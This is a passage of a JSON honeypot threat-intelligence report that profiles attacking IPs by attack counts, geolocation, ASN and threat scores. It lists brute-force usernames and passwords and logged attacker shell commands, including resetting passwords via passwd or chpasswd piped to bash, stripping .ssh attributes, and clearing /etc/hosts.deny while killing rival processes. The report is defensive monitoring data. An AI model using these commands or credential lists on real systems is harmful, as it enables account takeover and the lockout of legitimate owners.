        "total_events_30d": 268,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T14:17:53.938000+00:00",
        "last_seen_30d": "2026-05-19T14:42:36.821000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 221,
        "Suricata": 47
      }
    },
    "34.58.124.191": {
      "attack_count": 219,
      "first_seen": "2026-05-08T19:39:19.590Z",
      "last_seen": "2026-05-08T20:54:43.612Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "user",
        "ubuntu",
        "admin",
        "postgres",
        "root",
        "345gs5662d34",
        "abc",
        "administrator",
        "cacheuser",
        "dbuser",
        "deploy",
        "es",
        "ftpuser",
        "guest",
        "itmuser",
        "mysql2",
        "sftpuser",
        "testbox",
        "webadmin"
      ],
      "passwords_attempted": [
        "123",
        "123123",
        "123321",
        "123412345",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "@mcbl*MWR",
        "Admin@123",
        "P0$tgr3$",
        "Pass1234",
        "Pass2024",
        "Password123$",
        "Password@123",
        "access",
        "admin123456",
        "cacheuser",
        "cardemis1",
        "es@123",
        "itmuser"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"user01\\nSPY3GaiiWOx8\\nSPY3GaiiWOx8\\n\"|passwd",
        "echo -e \"user01\\nSPY3GaiiWOx8\\nSPY3GaiiWOx8\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Council Bluffs",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 8.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T19:39:19.590000+00:00",
        "last_seen_30d": "2026-05-08T20:55:47.344000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "103.210.21.225": {
      "attack_count": 213,
      "first_seen": "2026-05-24T03:43:02.398Z",
      "last_seen": "2026-05-24T04:36:35.074Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ftpuser",
        "345gs5662d34",
        "username",
        "xxx",
        "david",
        "nessus",
        "rocketmq",
        "test4",
        "znc"
      ],
      "passwords_attempted": [
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "123456Aa",
        "Admin-123",
        "Default123",
        "Ftpuser123!",
        "Pwd@Linux",
        "RootRoot",
        "a",
        "nessus",
        "rocketmq",
        "test4",
        "username@123",
        "xxx",
        "znc"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Ftpuser123!\\nvzSWtpPGDzr6\\nvzSWtpPGDzr6\\n\"|passwd",
        "echo \"xxx\\npFQMBChwXSr2\\npFQMBChwXSr2\\n\"|passwd",
        "echo -e \"Ftpuser123!\\nvzSWtpPGDzr6\\nvzSWtpPGDzr6\"|passwd|bash",
        "echo -e \"xxx\\npFQMBChwXSr2\\npFQMBChwXSr2\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 28.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 259,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T03:43:02.398000+00:00",
        "last_seen_30d": "2026-05-24T04:37:38.528000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 213,
        "Suricata": 46
      }
    },
    "45.78.201.248": {
      "attack_count": 193,
      "first_seen": "2026-05-29T05:17:12.078Z",
      "last_seen": "2026-05-29T05:49:20.868Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "elasticsearch",
        "drcomadmin",
        "foundry",
        "git",
        "super",
        "teamspeak"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ@WSX3edc",
        "1",
        "123456",
        "1337",
        "1qaz@WSX!@#",
        "drcomadmin123",
        "fjbdfdjkdsfs541544",
        "foundry",
        "root",
        "super",
        "welcome"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\ndQKfHPCsD9yn\\ndQKfHPCsD9yn\\n\"|passwd",
        "echo \"fjbdfdjkdsfs541544\\neY2ZFsDA5rtG\\neY2ZFsDA5rtG\\n\"|passwd",
        "echo -e \"123456\\ndQKfHPCsD9yn\\ndQKfHPCsD9yn\"|passwd|bash",
        "echo -e \"fjbdfdjkdsfs541544\\neY2ZFsDA5rtG\\neY2ZFsDA5rtG\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 34.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 229,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T05:17:12.078000+00:00",
        "last_seen_30d": "2026-05-29T05:50:26.434000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 36
      }
    },
    "208.87.243.61": {
      "attack_count": 186,
      "first_seen": "2026-05-05T02:51:38.893Z",
      "last_seen": "2026-05-31T08:26:38.429Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 40676,
      "as_org": "Psychz Networks",
      "threat_score": 57.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.4,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 217,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T02:51:38.893000+00:00",
        "last_seen_30d": "2026-05-31T08:27:46.097000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 93
      }
    },
    "206.221.176.152": {
      "attack_count": 180,
      "first_seen": "2026-05-04T23:40:54.119Z",
      "last_seen": "2026-05-31T21:05:51.856Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Piscataway",
      "asn": 23470,
      "as_org": "ReliableSite.Net LLC",
      "threat_score": 58.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.2,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 209,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T23:40:54.119000+00:00",
        "last_seen_30d": "2026-05-31T21:06:58.062000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 120,
        "Suricata": 89
      }
    },
    "118.248.165.163": {
      "attack_count": 178,
      "first_seen": "2026-05-19T07:02:25.072Z",
      "last_seen": "2026-05-19T16:23:39.585Z",
      "sessions": 89,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Changsha",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 274,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T07:02:25.072000+00:00",
        "last_seen_30d": "2026-05-19T16:24:42.270000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 178,
        "Suricata": 96
      }
    },
    "200.77.172.159": {
      "attack_count": 174,
      "first_seen": "2026-05-21T01:58:17.519Z",
      "last_seen": "2026-05-21T02:28:33.117Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "345gs5662d34",
        "ctrip",
        "cups",
        "genshin",
        "junhyuk",
        "liang",
        "qazwsx",
        "rao",
        "vagrant",
        "weave",
        "wechat"
      ],
      "passwords_attempted": [
        "123321",
        "123456",
        "23333",
        "3245gs5662d34",
        "345gs5662d34",
        "999999",
        "9999999",
        "Admin123!",
        "Dd112211",
        "cups",
        "genshin",
        "gmocloud",
        "google",
        "junhyuk",
        "meituan",
        "mnbvcxz",
        "password",
        "qazwsx",
        "rao",
        "sea"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Admin123!\\ntX0J5tPk41gi\\ntX0J5tPk41gi\\n\"|passwd",
        "echo -e \"Admin123!\\ntX0J5tPk41gi\\ntX0J5tPk41gi\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": null,
      "asn": 28548,
      "as_org": "Cablevision, S.A. de C.V.",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 226,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T01:58:17.519000+00:00",
        "last_seen_30d": "2026-05-21T02:29:35.947000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 174,
        "Suricata": 52
      }
    },
    "212.192.216.2": {
      "attack_count": 168,
      "first_seen": "2026-05-03T18:39:24.536Z",
      "last_seen": "2026-05-31T15:57:23.911Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 213035,
      "as_org": "Des Capital B.V.",
      "threat_score": 59.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.9,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 196,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T18:39:24.536000+00:00",
        "last_seen_30d": "2026-05-31T15:58:27.411000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 112,
        "Suricata": 84
      }
    },
    "51.38.51.166": {
      "attack_count": 168,
      "first_seen": "2026-05-13T13:17:41.920Z",
      "last_seen": "2026-05-13T13:47:50.580Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "anita",
        "cms",
        "john",
        "mqm",
        "nils",
        "phil",
        "pruebas",
        "steam",
        "vyos"
      ],
      "passwords_attempted": [
        "123456",
        "123456789a@",
        "3245gs5662d34",
        "345gs5662d34",
        "Huawei@5tgb",
        "P@ssw0rd@1234",
        "Password@12345",
        "QWEqwe123",
        "Rahul123",
        "Root!123",
        "anita",
        "asd123",
        "cms",
        "john",
        "nils",
        "phil",
        "pruebas",
        "qwe1234.",
        "ronaldo2",
        "sofia"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:ybbyDAJuXcwZ\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 218,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T13:17:41.920000+00:00",
        "last_seen_30d": "2026-05-13T13:48:55.335000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 50
      }
    },
    "50.7.233.211": {
      "attack_count": 162,
      "first_seen": "2026-05-08T19:24:51.033Z",
      "last_seen": "2026-05-31T17:23:57.185Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 30058,
      "as_org": "FDCservers.net",
      "threat_score": 54.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.8,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 189,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T19:24:51.033000+00:00",
        "last_seen_30d": "2026-05-31T17:25:00.858000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 108,
        "Suricata": 81
      }
    },
    "62.210.246.122": {
      "attack_count": 162,
      "first_seen": "2026-05-08T04:03:08.159Z",
      "last_seen": "2026-05-31T12:13:59.600Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 12876,
      "as_org": "Scaleway SAS",
      "threat_score": 54.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.8,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 189,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T04:03:08.159000+00:00",
        "last_seen_30d": "2026-05-31T12:15:03.712000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 108,
        "Suricata": 81
      }
    },
    "89.45.12.136": {
      "attack_count": 162,
      "first_seen": "2026-05-05T03:18:45.856Z",
      "last_seen": "2026-05-31T08:44:47.251Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 62390,
      "as_org": "NexonHost Srl",
      "threat_score": 57.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.8,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 189,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T03:18:45.856000+00:00",
        "last_seen_30d": "2026-05-31T08:45:53.930000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 108,
        "Suricata": 81
      }
    },
    "221.225.205.121": {
      "attack_count": 146,
      "first_seen": "2026-05-22T20:38:21.031Z",
      "last_seen": "2026-05-23T07:47:48.260Z",
      "sessions": 73,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 27.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 225,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T20:38:21.031000+00:00",
        "last_seen_30d": "2026-05-23T07:48:53.751000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 146,
        "Suricata": 79
      }
    },
    "172.96.172.91": {
      "attack_count": 120,
      "first_seen": "2026-05-14T10:44:43.502Z",
      "last_seen": "2026-05-31T15:59:33.016Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 23470,
      "as_org": "ReliableSite.Net LLC",
      "threat_score": 48.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.5,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 140,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T10:44:43.502000+00:00",
        "last_seen_30d": "2026-05-31T16:00:40.852000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 80,
        "Suricata": 60
      }
    },
    "69.6.251.43": {
      "attack_count": 118,
      "first_seen": "2026-05-31T00:53:36.646Z",
      "last_seen": "2026-05-31T01:18:45.194Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123123aA",
        "123qweQWE!@#",
        "3245gs5662d34",
        "345gs5662d34",
        "ABC123abc",
        "Abc123...",
        "Admin@1234",
        "P@55w0rd@123",
        "Pi123456@",
        "Root123456!",
        "a1b2c3d4",
        "qazwsx"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:0oZkSAv1Xnho\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Vinhedo",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 34.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T00:53:36.646000+00:00",
        "last_seen_30d": "2026-05-31T01:19:50.964000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 28
      }
    },
    "62.84.183.105": {
      "attack_count": 106,
      "first_seen": "2026-05-04T05:11:32.799Z",
      "last_seen": "2026-05-04T08:57:58.993Z",
      "sessions": 53,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 190,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T05:11:32.799000+00:00",
        "last_seen_30d": "2026-05-04T08:59:01.861000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 106,
        "Suricata": 84
      }
    },
    "220.205.122.34": {
      "attack_count": 105,
      "first_seen": "2026-05-06T17:21:35.323Z",
      "last_seen": "2026-05-30T05:46:53.240Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "admin",
        "guest1",
        "345gs5662d34",
        "frappe-user",
        "mithun",
        "nexus",
        "sshvpn",
        "sysadmin",
        "test",
        "vpn"
      ],
      "passwords_attempted": [
        "12",
        "123",
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin888.",
        "Nexus123",
        "Pa$$w0rd12345",
        "Password123x",
        "gitgit",
        "guest1123",
        "justb0w",
        "mithun",
        "system",
        "test",
        "test1212",
        "user@2017",
        "w123456w",
        "zxc123123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.log.closed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 140726,
      "as_org": "UNICOM AnHui province network",
      "threat_score": 53.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.0,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 159,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T17:21:35.323000+00:00",
        "last_seen_30d": "2026-05-30T05:56:57.506000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 105,
        "Suricata": 54
      }
    },
    "49.235.170.104": {
      "attack_count": 80,
      "first_seen": "2026-05-08T14:17:19.030Z",
      "last_seen": "2026-05-08T14:39:27.053Z",
      "sessions": 40,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 7.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 131,
        "days_active_30d": 1,
